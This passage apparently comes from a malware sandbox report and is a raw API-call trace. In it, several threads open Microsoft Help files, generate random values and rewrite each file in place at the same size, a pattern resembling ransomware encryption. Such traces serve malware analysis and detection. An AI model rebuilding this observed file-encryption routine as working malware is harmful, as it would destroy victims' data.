Seed=0x147efe00 | out: Seed=0x147efe00) returned 0x5ae4c82c [0065.205] RtlRandomEx (in: Seed=0x147efe00 | out: Seed=0x147efe00) returned 0x54929c98 [0065.205] RtlRandomEx (in: Seed=0x147efe00 | out: Seed=0x147efe00) returned 0x69b2d98b [0065.205] RtlRandomEx (in: Seed=0x147efe00 | out: Seed=0x147efe00) returned 0x56b05dfa [0065.205] RtlRandomEx (in: Seed=0x147efe00 | out: Seed=0x147efe00) returned 0x27f10f54 [0065.205] RtlRandomEx (in: Seed=0x147efe00 | out: Seed=0x147efe00) returned 0x540f7d7e [0065.205] RtlRandomEx (in: Seed=0x147efe00 | out: Seed=0x147efe00) returned 0xd93bea4 [0065.205] RtlRandomEx (in: Seed=0x147efe00 | out: Seed=0x147efe00) returned 0x26e38487 [0065.205] RtlRandomEx (in: Seed=0x147efe00 | out: Seed=0x147efe00) returned 0x38172284 [0065.205] RtlRandomEx (in: Seed=0x147efe00 | out: Seed=0x147efe00) returned 0x37638c35 [0065.205] RtlRandomEx (in: Seed=0x147efe00 | out: Seed=0x147efe00) returned 0x4c163239 [0065.217] ReadFile (in: hFile=0x1108, lpBuffer=0x960f470, nNumberOfBytesToRead=0x146, lpNumberOfBytesRead=0x147efdf0, lpOverlapped=0x0 | out: lpBuffer=0x960f470*, lpNumberOfBytesRead=0x147efdf0*=0x146, lpOverlapped=0x0) returned 1 [0065.217] SetFilePointerEx (in: hFile=0x1108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.217] WriteFile (hFile=0x1108, lpBuffer=0x961bc78, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x147efdec, lpOverlapped=0x0) Thread: id = 816 os_tid = 0x109c [0051.577] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mspub.dev.14.1033.hxn")) returned 0x2022 [0062.243] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0065.188] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mspub.dev.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb08 [0065.188] GetFileSizeEx (in: hFile=0xb08, lpFileSize=0x13dcf85c | out: lpFileSize=0x13dcf85c*=350) returned 1 [0065.188] SetFilePointerEx (in: hFile=0xb08, liDistanceToMove=0x15a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.188] ReadFile (in: hFile=0xb08, lpBuffer=0x13dcf7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x13dcf7dc, lpOverlapped=0x0 | out: lpBuffer=0x13dcf7e0*, lpNumberOfBytesRead=0x13dcf7dc*=0x4, lpOverlapped=0x0) returned 1 [0065.189] SetFilePointerEx (in: hFile=0xb08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.189] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435df0 [0065.189] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435a80 [0065.189] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4367f0 [0065.189] NtQuerySystemTime (in: CurrentTime=0x13dcf7bc | out: CurrentTime=0x13dcf7bc*=132174898291692000) returned 0x0 [0065.189] RtlRandomEx (in: Seed=0x13dcf7c8 | out: Seed=0x13dcf7c8) returned 0x75cfcd87 [0065.189] RtlRandomEx (in: Seed=0x13dcf7c8 | out: Seed=0x13dcf7c8) returned 0x4ad66a8d [0065.189] RtlRandomEx (in: Seed=0x13dcf7c8 | out: Seed=0x13dcf7c8) returned 0x18ab729a [0065.189] RtlRandomEx (in: Seed=0x13dcf7c8 | out: Seed=0x13dcf7c8) returned 0xff462ed [0065.189] RtlRandomEx (in: Seed=0x13dcf7c8 | out: Seed=0x13dcf7c8) returned 0x658f8ab9 [0065.189] RtlRandomEx (in: Seed=0x13dcf7c8 | out: Seed=0x13dcf7c8) returned 0x684ec82c [0065.189] RtlRandomEx (in: Seed=0x13dcf7c8 | out: Seed=0x13dcf7c8) returned 0x67ce3dec [0065.189] RtlRandomEx (in: Seed=0x13dcf7c8 | out: Seed=0x13dcf7c8) returned 0x2d792a1d [0065.190] RtlRandomEx (in: Seed=0x13dcf7c8 | out: Seed=0x13dcf7c8) returned 0x9ab9721 [0065.190] RtlRandomEx (in: Seed=0x13dcf7c8 | out: Seed=0x13dcf7c8) returned 0x1b002402 [0065.190] RtlRandomEx (in: Seed=0x13dcf7c8 | out: Seed=0x13dcf7c8) returned 0x6187ec00 [0065.190] RtlRandomEx (in: Seed=0x13dcf7c8 | out: Seed=0x13dcf7c8) returned 0x5ee10b1 [0065.190] RtlRandomEx (in: Seed=0x13dcf7c8 | out: Seed=0x13dcf7c8) returned 0x2aa6eead [0065.190] RtlRandomEx (in: Seed=0x13dcf7c8 | out: Seed=0x13dcf7c8) returned 0x5be83eb3 [0065.190] RtlRandomEx (in: Seed=0x13dcf7c8 | out: Seed=0x13dcf7c8) returned 0x442f6f66 [0065.190] RtlRandomEx (in: Seed=0x13dcf7c8 | out: Seed=0x13dcf7c8) returned 0x5165e309 [0065.190] RtlRandomEx (in: Seed=0x13dcf7c8 | out: Seed=0x13dcf7c8) returned 0x1542d351 [0065.190] RtlRandomEx (in: Seed=0x13dcf7c8 | out: Seed=0x13dcf7c8) returned 0x296c8b5 [0065.190] RtlRandomEx (in: Seed=0x13dcf7c8 | out: Seed=0x13dcf7c8) returned 0x6ac979f6 [0065.190] RtlRandomEx (in: Seed=0x13dcf7c8 | out: Seed=0x13dcf7c8) returned 0xd595123 [0065.190] RtlRandomEx (in: Seed=0x13dcf7c8 | out: Seed=0x13dcf7c8) returned 0x116cb3ef [0065.190] RtlRandomEx (in: Seed=0x13dcf7c8 | out: Seed=0x13dcf7c8) returned 0x42f20f75 [0065.190] RtlRandomEx (in: Seed=0x13dcf7c8 | out: Seed=0x13dcf7c8) returned 0x49de3e20 [0065.190] RtlRandomEx (in: Seed=0x13dcf7c8 | out: Seed=0x13dcf7c8) returned 0x433794 [0065.190] RtlRandomEx (in: Seed=0x13dcf7c8 | out: Seed=0x13dcf7c8) returned 0x3230ad81 [0065.190] RtlRandomEx (in: Seed=0x13dcf7c8 | out: Seed=0x13dcf7c8) returned 0x70e15693 [0065.190] RtlRandomEx (in: Seed=0x13dcf7c8 | out: Seed=0x13dcf7c8) returned 0x4ea0b5f6 [0065.190] RtlRandomEx (in: Seed=0x13dcf7c8 | out: Seed=0x13dcf7c8) returned 0x2a24e3d5 [0065.190] RtlRandomEx (in: Seed=0x13dcf7c8 | out: Seed=0x13dcf7c8) returned 0x3e4f98d6 [0065.190] RtlRandomEx (in: Seed=0x13dcf7c8 | out: Seed=0x13dcf7c8) returned 0x1f8746b0 [0065.190] RtlRandomEx (in: Seed=0x13dcf7c8 | out: Seed=0x13dcf7c8) returned 0x67f916ac [0065.190] RtlRandomEx (in: Seed=0x13dcf7c8 | out: Seed=0x13dcf7c8) returned 0x20472b94 [0065.202] ReadFile (in: hFile=0xb08, lpBuffer=0x95f6460, nNumberOfBytesToRead=0x15e, lpNumberOfBytesRead=0x13dcf7b8, lpOverlapped=0x0 | out: lpBuffer=0x95f6460*, lpNumberOfBytesRead=0x13dcf7b8*=0x15e, lpOverlapped=0x0) returned 1 [0065.202] SetFilePointerEx (in: hFile=0xb08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.202] WriteFile (hFile=0xb08, lpBuffer=0x9602c68, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x13dcf7b4, lpOverlapped=0x0) Thread: id = 817 os_tid = 0x10a0 [0051.578] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mstore.14.1033.hxn")) returned 0x2022 [0055.527] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0065.313] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mstore.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1424 [0065.313] GetFileSizeEx (in: hFile=0x1424, lpFileSize=0x110afde4 | out: lpFileSize=0x110afde4*=332) returned 1 [0065.757] SetFilePointerEx (in: hFile=0x1424, liDistanceToMove=0x148, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.757] ReadFile (hFile=0x1424, lpBuffer=0x110afd68, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x110afd64, lpOverlapped=0x0) Thread: id = 818 os_tid = 0x10a4 [0051.578] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.ois.14.1033.hxn")) returned 0x2022 [0055.527] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0065.312] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.ois.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1420 [0065.312] GetFileSizeEx (in: hFile=0x1420, lpFileSize=0x14acfb40 | out: lpFileSize=0x14acfb40*=314) returned 1 [0065.757] SetFilePointerEx (in: hFile=0x1420, liDistanceToMove=0x136, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.757] ReadFile (hFile=0x1420, lpBuffer=0x14acfac4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x14acfac0, lpOverlapped=0x0) Thread: id = 819 os_tid = 0x10a8 [0051.579] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.onenote.14.1033.hxn")) returned 0x2022 [0062.243] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0065.173] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.onenote.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe84 [0065.173] GetFileSizeEx (in: hFile=0xe84, lpFileSize=0x149ef76c | out: lpFileSize=0x149ef76c*=338) returned 1 [0065.173] SetFilePointerEx (in: hFile=0xe84, liDistanceToMove=0x14e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.173] ReadFile (in: hFile=0xe84, lpBuffer=0x149ef6f0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x149ef6ec, lpOverlapped=0x0 | out: lpBuffer=0x149ef6f0*, lpNumberOfBytesRead=0x149ef6ec*=0x4, lpOverlapped=0x0) returned 1 [0065.174] SetFilePointerEx (in: hFile=0xe84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.174] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435df0 [0065.174] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435b98 [0065.174] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435a80 [0065.174] NtQuerySystemTime (in: CurrentTime=0x149ef6cc | out: CurrentTime=0x149ef6cc*=132174898291536000) returned 0x0 [0065.174] RtlRandomEx (in: Seed=0x149ef6d8 | out: Seed=0x149ef6d8) returned 0x1be9ec9f [0065.174] RtlRandomEx (in: Seed=0x149ef6d8 | out: Seed=0x149ef6d8) returned 0x2369669d [0065.174] RtlRandomEx (in: Seed=0x149ef6d8 | out: Seed=0x149ef6d8) returned 0x5e447253 [0065.174] RtlRandomEx (in: Seed=0x149ef6d8 | out: Seed=0x149ef6d8) returned 0x37f3bf3a [0065.175] RtlRandomEx (in: Seed=0x149ef6d8 | out: Seed=0x149ef6d8) returned 0xff9c018 [0065.175] RtlRandomEx (in: Seed=0x149ef6d8 | out: Seed=0x149ef6d8) returned 0x174edd6b [0065.175] RtlRandomEx (in: Seed=0x149ef6d8 | out: Seed=0x149ef6d8) returned 0x60bb0b5d [0065.175] RtlRandomEx (in: Seed=0x149ef6d8 | out: Seed=0x149ef6d8) returned 0x75a1c32e [0065.175] RtlRandomEx (in: Seed=0x149ef6d8 | out: Seed=0x149ef6d8) returned 0x26fe6062 [0065.175] RtlRandomEx (in: Seed=0x149ef6d8 | out: Seed=0x149ef6d8) returned 0x7b300e73 [0065.175] RtlRandomEx (in: Seed=0x149ef6d8 | out: Seed=0x149ef6d8) returned 0x6e44648d [0065.175] RtlRandomEx (in: Seed=0x149ef6d8 | out: Seed=0x149ef6d8) returned 0x7e34ef57 [0065.175] RtlRandomEx (in: Seed=0x149ef6d8 | out: Seed=0x149ef6d8) returned 0x6d0e9705 [0065.175] RtlRandomEx (in: Seed=0x149ef6d8 | out: Seed=0x149ef6d8) returned 0x7006b4f2 [0065.175] RtlRandomEx (in: Seed=0x149ef6d8 | out: Seed=0x149ef6d8) returned 0x6823ef6c [0065.175] RtlRandomEx (in: Seed=0x149ef6d8 | out: Seed=0x149ef6d8) returned 0x2a75ec9d [0065.175] RtlRandomEx (in: Seed=0x149ef6d8 | out: Seed=0x149ef6d8) returned 0x5a132b9d [0065.175] RtlRandomEx (in: Seed=0x149ef6d8 | out: Seed=0x149ef6d8) returned 0x3d3f7b1b [0065.175] RtlRandomEx (in: Seed=0x149ef6d8 | out: Seed=0x149ef6d8) returned 0x51ef5f70 [0065.175] RtlRandomEx (in: Seed=0x149ef6d8 | out: Seed=0x149ef6d8) returned 0x59f20066 [0065.175] RtlRandomEx (in: Seed=0x149ef6d8 | out: Seed=0x149ef6d8) returned 0x380641c4 [0065.175] RtlRandomEx (in: Seed=0x149ef6d8 | out: Seed=0x149ef6d8) returned 0x57234cc6 [0065.175] RtlRandomEx (in: Seed=0x149ef6d8 | out: Seed=0x149ef6d8) returned 0x12d8fbb6 [0065.175] RtlRandomEx (in: Seed=0x149ef6d8 | out: Seed=0x149ef6d8) returned 0xe8f4787 [0065.175] RtlRandomEx (in: Seed=0x149ef6d8 | out: Seed=0x149ef6d8) returned 0x5f73a733 [0065.175] RtlRandomEx (in: Seed=0x149ef6d8 | out: Seed=0x149ef6d8) returned 0x34e7956b [0065.175] RtlRandomEx (in: Seed=0x149ef6d8 | out: Seed=0x149ef6d8) returned 0x702a02b4 [0065.175] RtlRandomEx (in: Seed=0x149ef6d8 | out: Seed=0x149ef6d8) returned 0x422eba38 [0065.175] RtlRandomEx (in: Seed=0x149ef6d8 | out: Seed=0x149ef6d8) returned 0x967fac4 [0065.175] RtlRandomEx (in: Seed=0x149ef6d8 | out: Seed=0x149ef6d8) returned 0x1d67977d [0065.175] RtlRandomEx (in: Seed=0x149ef6d8 | out: Seed=0x149ef6d8) returned 0x26fd676b [0065.175] RtlRandomEx (in: Seed=0x149ef6d8 | out: Seed=0x149ef6d8) returned 0x34bcd1d [0065.187] ReadFile (in: hFile=0xe84, lpBuffer=0x95dd450, nNumberOfBytesToRead=0x152, lpNumberOfBytesRead=0x149ef6c8, lpOverlapped=0x0 | out: lpBuffer=0x95dd450*, lpNumberOfBytesRead=0x149ef6c8*=0x152, lpOverlapped=0x0) returned 1 [0065.187] SetFilePointerEx (in: hFile=0xe84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.188] WriteFile (hFile=0xe84, lpBuffer=0x95e9c58, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x149ef6c4, lpOverlapped=0x0) Thread: id = 820 os_tid = 0x10ac [0051.579] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.outlook.14.1033.hxn")) returned 0x2022 [0062.243] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0065.159] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.outlook.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9b0 [0065.159] GetFileSizeEx (in: hFile=0x9b0, lpFileSize=0x14b5fb44 | out: lpFileSize=0x14b5fb44*=338) returned 1 [0065.159] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x14e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.159] ReadFile (in: hFile=0x9b0, lpBuffer=0x14b5fac8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x14b5fac4, lpOverlapped=0x0 | out: lpBuffer=0x14b5fac8*, lpNumberOfBytesRead=0x14b5fac4*=0x4, lpOverlapped=0x0) returned 1 [0065.160] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.160] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435df0 [0065.160] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435ad0 [0065.160] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435b98 [0065.160] NtQuerySystemTime (in: CurrentTime=0x14b5faa4 | out: CurrentTime=0x14b5faa4*=132174898291380000) returned 0x0 [0065.160] RtlRandomEx (in: Seed=0x14b5fab0 | out: Seed=0x14b5fab0) returned 0x246f719d [0065.160] RtlRandomEx (in: Seed=0x14b5fab0 | out: Seed=0x14b5fab0) returned 0xb9f3abb [0065.160] RtlRandomEx (in: Seed=0x14b5fab0 | out: Seed=0x14b5fab0) returned 0x6a6eb901 [0065.160] RtlRandomEx (in: Seed=0x14b5fab0 | out: Seed=0x14b5fab0) returned 0x72c4cfee [0065.160] RtlRandomEx (in: Seed=0x14b5fab0 | out: Seed=0x14b5fab0) returned 0x3e3d58ef [0065.160] RtlRandomEx (in: Seed=0x14b5fab0 | out: Seed=0x14b5fab0) returned 0x67eb4099 [0065.160] RtlRandomEx (in: Seed=0x14b5fab0 | out: Seed=0x14b5fab0) returned 0x2f180af5 [0065.160] RtlRandomEx (in: Seed=0x14b5fab0 | out: Seed=0x14b5fab0) returned 0x67357b0b [0065.160] RtlRandomEx (in: Seed=0x14b5fab0 | out: Seed=0x14b5fab0) returned 0x653f5053 [0065.161] RtlRandomEx (in: Seed=0x14b5fab0 | out: Seed=0x14b5fab0) returned 0x5f8499cb [0065.161] RtlRandomEx (in: Seed=0x14b5fab0 | out: Seed=0x14b5fab0) returned 0x3d2b49d8 [0065.161] RtlRandomEx (in: Seed=0x14b5fab0 | out: Seed=0x14b5fab0) returned 0x507e09f1 [0065.161] RtlRandomEx (in: Seed=0x14b5fab0 | out: Seed=0x14b5fab0) returned 0x650ab469 [0065.161] RtlRandomEx (in: Seed=0x14b5fab0 | out: Seed=0x14b5fab0) returned 0x4f35c2e [0065.161] RtlRandomEx (in: Seed=0x14b5fab0 | out: Seed=0x14b5fab0) returned 0x6ba7b72c [0065.161] RtlRandomEx (in: Seed=0x14b5fab0 | out: Seed=0x14b5fab0) returned 0x20d96a81 [0065.161] RtlRandomEx (in: Seed=0x14b5fab0 | out: Seed=0x14b5fab0) returned 0x48ad2f70 [0065.161] RtlRandomEx (in: Seed=0x14b5fab0 | out: Seed=0x14b5fab0) returned 0x421d38da [0065.161] RtlRandomEx (in: Seed=0x14b5fab0 | out: Seed=0x14b5fab0) returned 0x618c59df [0065.161] RtlRandomEx (in: Seed=0x14b5fab0 | out: Seed=0x14b5fab0) returned 0x16721bda [0065.161] RtlRandomEx (in: Seed=0x14b5fab0 | out: Seed=0x14b5fab0) returned 0x358658c5 [0065.161] RtlRandomEx (in: Seed=0x14b5fab0 | out: Seed=0x14b5fab0) returned 0x18a80805 [0065.161] RtlRandomEx (in: Seed=0x14b5fab0 | out: Seed=0x14b5fab0) returned 0xfb84b4c [0065.161] RtlRandomEx (in: Seed=0x14b5fab0 | out: Seed=0x14b5fab0) returned 0x7dd56c68 [0065.161] RtlRandomEx (in: Seed=0x14b5fab0 | out: Seed=0x14b5fab0) returned 0x55a83d09 [0065.161] RtlRandomEx (in: Seed=0x14b5fab0 | out: Seed=0x14b5fab0) returned 0x1cc12bc6 [0065.161] RtlRandomEx (in: Seed=0x14b5fab0 | out: Seed=0x14b5fab0) returned 0x7f26c2d2 [0065.161] RtlRandomEx (in: Seed=0x14b5fab0 | out: Seed=0x14b5fab0) returned 0x371bbe7a [0065.161] RtlRandomEx (in: Seed=0x14b5fab0 | out: Seed=0x14b5fab0) returned 0x6f0b7308 [0065.161] RtlRandomEx (in: Seed=0x14b5fab0 | out: Seed=0x14b5fab0) returned 0x3f30edca [0065.161] RtlRandomEx (in: Seed=0x14b5fab0 | out: Seed=0x14b5fab0) returned 0x702a02b4 [0065.161] RtlRandomEx (in: Seed=0x14b5fab0 | out: Seed=0x14b5fab0) returned 0xebf52dd [0065.173] ReadFile (in: hFile=0x9b0, lpBuffer=0x19cbf840, nNumberOfBytesToRead=0x152, lpNumberOfBytesRead=0x14b5faa0, lpOverlapped=0x0 | out: lpBuffer=0x19cbf840*, lpNumberOfBytesRead=0x14b5faa0*=0x152, lpOverlapped=0x0) returned 1 [0065.173] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.173] WriteFile (hFile=0x9b0, lpBuffer=0x95d0c48, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x14b5fa9c, lpOverlapped=0x0) Thread: id = 821 os_tid = 0x10b0 [0051.580] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43e068 [0051.580] wcscpy (in: _Dest=0x43e068, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries" [0051.580] wcscat (in: _Dest=0x43e068, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\" [0051.580] wcscat (in: _Dest=0x43e068, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\*" [0051.580] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e06098 [0051.580] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\*", lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440e20 [0051.580] wcscmp (_String1=".", _String2=".") returned 0 [0051.580] FindNextFileW (in: hFindFile=0x440e20, lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.580] wcscmp (_String1="..", _String2=".") returned 1 [0051.580] wcscmp (_String1="..", _String2="..") returned 0 [0051.580] FindNextFileW (in: hFindFile=0x440e20, lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0051.580] FindClose (in: hFindFile=0x440e20 | out: hFindFile=0x440e20) returned 1 [0051.581] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e06098) returned 1 [0051.581] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43e068) returned 1 [0051.581] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43dbd0) returned 1 Thread: id = 822 os_tid = 0x10b4 [0051.582] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.outlook.dev.14.1033.hxn")) returned 0x2022 [0062.242] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0065.145] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.outlook.dev.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xaf4 [0065.145] GetFileSizeEx (in: hFile=0xaf4, lpFileSize=0x14c1fa0c | out: lpFileSize=0x14c1fa0c*=362) returned 1 [0065.145] SetFilePointerEx (in: hFile=0xaf4, liDistanceToMove=0x166, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.145] ReadFile (in: hFile=0xaf4, lpBuffer=0x14c1f990, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x14c1f98c, lpOverlapped=0x0 | out: lpBuffer=0x14c1f990*, lpNumberOfBytesRead=0x14c1f98c*=0x4, lpOverlapped=0x0) returned 1 [0065.146] SetFilePointerEx (in: hFile=0xaf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.146] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435df0 [0065.146] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435af8 [0065.146] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435ad0 [0065.146] NtQuerySystemTime (in: CurrentTime=0x14c1f96c | out: CurrentTime=0x14c1f96c*=132174898291224000) returned 0x0 [0065.146] RtlRandomEx (in: Seed=0x14c1f978 | out: Seed=0x14c1f978) returned 0x752b70e7 [0065.146] RtlRandomEx (in: Seed=0x14c1f978 | out: Seed=0x14c1f978) returned 0x4c2348c7 [0065.146] RtlRandomEx (in: 